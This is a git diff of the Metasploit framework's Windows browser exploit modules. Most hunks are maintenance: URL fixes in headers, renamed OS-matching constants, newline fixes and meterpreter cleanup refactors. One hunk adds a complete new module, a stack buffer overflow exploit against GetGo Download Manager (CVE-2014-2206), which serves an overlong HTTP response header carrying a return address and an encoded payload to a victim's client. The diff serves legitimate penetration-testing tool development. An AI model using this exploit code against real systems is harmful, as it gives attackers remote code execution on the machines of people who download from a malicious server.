b/modules/exploits/windows/browser/barcode_ax49.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index 28b8003a0a..3a63699a2f 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :javascript => true, # :rank => NormalRanking, diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index d611285146..7a8588c51e 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb index f7e054fd4f..62d06f8211 100644 --- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb +++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote could overflow a buffer and execute arbitrary code on the system. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-1472' ], diff --git a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb index f354f3c53e..3a39839a25 100644 --- a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb +++ b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb index 8beabef098..b5f802fa7f 100644 --- a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb +++ b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 6f6f1a828b..6d1c1f1571 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}", # :method => "SetSource", # :rank => NormalRanking diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 98caf4c686..2650552b35 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}", # :method => "SetSource", # :rank => NormalRanking diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index f5b75ab4bf..663b4945a0 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 0f8dff21d5..056fbcadd4 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{94773112-72E8-11D0-A42E-00A024DED613}", # :method => "RegisterSchemaRepoFromFileByDbSet", # :rank => NormalRanking @@ -155,4 +155,4 @@ ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is disabled -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/communicrypt_mail_activex.rb b/modules/exploits/windows/browser/communicrypt_mail_activex.rb index ad2614d967..3efacb9c49 100644 --- a/modules/exploits/windows/browser/communicrypt_mail_activex.rb +++ b/modules/exploits/windows/browser/communicrypt_mail_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb index 86fdc16810..37adc9b873 100644 --- a/modules/exploits/windows/browser/creative_software_cachefolder.rb +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index 3a1a2953dc..a92886b94d 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => NormalRanking, # :classid => "{88DD90B6-C770-4CFF-B7A4-3AFD16BB8824}", # :method => "ServerResourceVersion" @@ -311,4 +311,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index 664fe57734..fe8ede5cbd 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index 7111d8b323..1b5560873d 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,25 +10,25 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, - 'Name' => 'Worldweaver DX Studio Player <= 3.0.29 shell.execute() Command Execution', + 'Name' => 'Worldweaver DX Studio Player shell.execute() Command Execution', 'Description' => %q{ - This module exploits a command execution vulnerability within the - DX Studio Player from Worldweaver. The player is a browser plugin for - IE (ActiveX) and Firefox (dll). When an unsuspecting user visits a web - page referring to a specially crafted .dxstudio document, an attacker can - execute arbitrary commands. + This module exploits a command execution vulnerability within the DX + Studio Player from Worldweaver for versions 3.0.29 and earlier. The + player is a browser plugin for IE (ActiveX) and Firefox (dll). When an + unsuspecting user visits a web page referring to a specially crafted + .dxstudio document, an attacker can execute arbitrary commands. - Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20 and - IE 6 on Windows XP SP3. In IE, the user will be prompted if they wish to allow - the plug-in to access local files. This prompt appears to occur only once per - server host. + Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20 + and IE 6 on Windows XP SP3. In IE, the user will be prompted if they + wish to allow the plug-in to access local files. This prompt appears to + occur only once per server host. - NOTE: This exploit uses additionally dangerous script features to write to - local files! + NOTE: This exploit uses additionally dangerous script features to write + to local files! }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DisclosureDate' => 'Jun 09 2009', 'DefaultTarget' => 0)) end diff --git a/modules/exploits/windows/browser/ea_checkrequirements.rb b/modules/exploits/windows/browser/ea_checkrequirements.rb index 6fc8627973..4ab495e851 100644 --- a/modules/exploits/windows/browser/ea_checkrequirements.rb +++ b/modules/exploits/windows/browser/ea_checkrequirements.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb index 048c5901c3..921285149b 100644 --- a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb +++ b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index 4797e2c3f5..3d3cdf9c3c 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb index 217bf45065..a45a935ef6 100644 --- a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb +++ b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/facebook_extractiptc.rb b/modules/exploits/windows/browser/facebook_extractiptc.rb index 8e4235e251..7290b5d166 100644 --- a/modules/exploits/windows/browser/facebook_extractiptc.rb +++ b/modules/exploits/windows/browser/facebook_extractiptc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 0fc4a1113c..8f52e0cb0f 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote sploit << self.send(my_target[:rop]) sploit << p.encoded - resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') + resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-noslashes') cli.send_response(resp) # handle the payload diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb new file mode 100644 index 0000000000..89655a35c9 --- /dev/null +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in + GetGo Download Manager version 4.9.0.1982 and earlier, caused by an + overly long HTTP response header. + + By persuading the victim to download a file from a malicious server, a + remote attacker could execute arbitrary code on the system or cause + the application to crash. This module has been tested successfully on + Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Julien Ahrens', # Vulnerability discovery + 'Gabor Seljan' # Metasploit module + ], + 'References' => + [ + [ 'EDB', '32132' ], + [ 'OSVDB', '103910' ], + [ 'CVE', '2014-2206' ], + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + 'URIPATH' => "/shakeitoff.mp3" + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d", + 'Space' => 2000 + }, + 'Targets' => + [ + [ 'Windows XP SP3', + { + 'Offset' => 4107, + 'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30] + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 09 2014', + 'DefaultTarget' => 0)) + end + + # + # Handle the HTTP request and return a response. + # Code borrowed from: msf/core/exploit/http/server.rb + # + def start_http(opts={}) + # Ensture all dependencies are present before initializing HTTP + use_zlib + + comm = datastore['ListenerComm'] + if (comm.to_s == "local") + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + # Default the server host / port + opts = { + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTPPORT'], + 'Comm' => comm + }.update(opts) + + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + opts['ServerPort'].to_i, + opts['ServerHost'], + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'], + datastore['SSLCert'] + ) + + @http_service.server_name = datastore['HTTP::server_name'] + + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + + proto = (datastore["SSL"] ? "https" : "http") + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + + if (opts['ServerHost'] == '0.0.0.0') + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + end + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + + # As long as we have the http_service object, we will keep the server alive + while @http_service + select(nil, nil, nil, 1) + end + end + + + # + # Kill HTTP/FTP (shut them down and clear resources) + # + def cleanup + super + stop_service + + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service.close + @http_service = nil + rescue + end + end + + + def on_request_uri(cli, request) + + print_status("Client connected...") + + unless request['User-Agent'] =~ /GetGo Download Manager 4.0/ + print_error("Sending 404 for unknown user-agent") + send_not_found(cli) + return + end + + sploit = rand_text_alpha(target['Offset']) + sploit << "\x90\x90\xEB\x06" + sploit << [target.ret].pack('V') + sploit << payload.encoded + + print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...") + + resp = create_response(200, sploit) + resp.body = "" + cli.send_response(resp) + + close_client(cli) + + end +end diff --git a/modules/exploits/windows/browser/gom_openurl.rb b/modules/exploits/windows/browser/gom_openurl.rb index 9cd60dffd2..1850394ce0 100644 --- a/modules/exploits/windows/browser/gom_openurl.rb +++ b/modules/exploits/windows/browser/gom_openurl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/greendam_url.rb b/modules/exploits/windows/browser/greendam_url.rb index 370ba3720e..a3394b541b 100644 --- a/modules/exploits/windows/browser/greendam_url.rb +++ b/modules/exploits/windows/browser/greendam_url.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index b45c11bdb7..ec3f7c8ed2 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -68,13 +68,11 @@ class Metasploit3 < Msf::Exploit::Remote def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") - end - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" + @dropped_files.delete_if do |file| + win_file = file.gsub("/", "\\\\") begin - wintemp = session.fs.file.expand_path("%TEMP%") + wintemp = session.sys.config.getenv('TEMP') win_file = "#{wintemp}\\#{win_file}" session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) @@ -84,7 +82,6 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Failed to delete #{win_file}") false end - end end end diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb index 6ffb606ea9..13fa3b651c 100644 --- a/modules/exploits/windows/browser/honeywell_tema_exec.rb +++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -74,13 +74,11 @@ class Metasploit3 < Msf::Exploit::Remote def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") - end - @dropped_files.each do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" + @dropped_files.each do |file| + win_file = file.gsub("/", "\\\\") begin - wintemp = session.fs.file.expand_path("%WINDIR%") + wintemp = session.sys.config.getenv('WINDIR') win_file = "#{wintemp}\\Temp\\#{win_file}" # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the @@ -93,7 +91,6 @@ class Metasploit3 < Msf::Exploit::Remote print_error("Failed to delete #{win_file}") false end - end end @@ -169,4 +166,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index b136a41c9f..50e7a92819 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "7.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}", # :method => "SetShapeNodeType", # :rank => NormalRanking @@ -267,4 +267,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index 6420f2d048..55850db2a5 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index 60fa1b8b0c..9276a059e5 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb index 378c98daf0..8fd3962f27 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb index 8eae361f2f..175947c5ed 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index 2a9cfd1ae2..e3d390f8eb 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "9.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => Rank, # :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", # :method => "WriteFileBinary" @@ -253,4 +253,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index f6a01d021d..5c62ea02a1 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,8 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, - # :os_ver => OperatingSystems::WindowsVersions::XP, + # :os_name => OperatingSystems::Match::WINDOWS_XP, # :rank => NormalRanking, # :classid => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}", # :method => "WriteFileString " @@ -147,4 +146,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/browser/hpmqc_progcolor.rb b/modules/exploits/windows/browser/hpmqc_progcolor.rb index ed218fec08..dd64b699b0 100644 --- a/modules/exploits/windows/browser/hpmqc_progcolor.rb +++ b/modules/exploits/windows/browser/hpmqc_progcolor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index 7e83003116..a56df9c525 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index c85c94dcc8..a8488b29d4 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote # :ua_minver => "6.0", # :ua_maxver => "8.0", # :javascript => true, - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :rank => NormalRanking, # :classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}", # :method => "TabCaption" @@ -474,4 +474,4 @@ end .text:10018A06 push eax .text:10018A07 call dword ptr [ecx] # woot! -=end \ No newline at end of file +=end diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index c841580762..772a924e42 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote #include Msf::Exploit::Remote::BrowserAutopwn # #autopwn_info({ - # :os_name => OperatingSystems::WINDOWS, + # :os_name => OperatingSystems::Match::WINDOWS, # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "8.0", diff --git a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb index 9caa4f044d..f16b3b4c58 100644 --- a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb +++ b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb index 21e25454e3..c966b6145b 100644 --- a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb 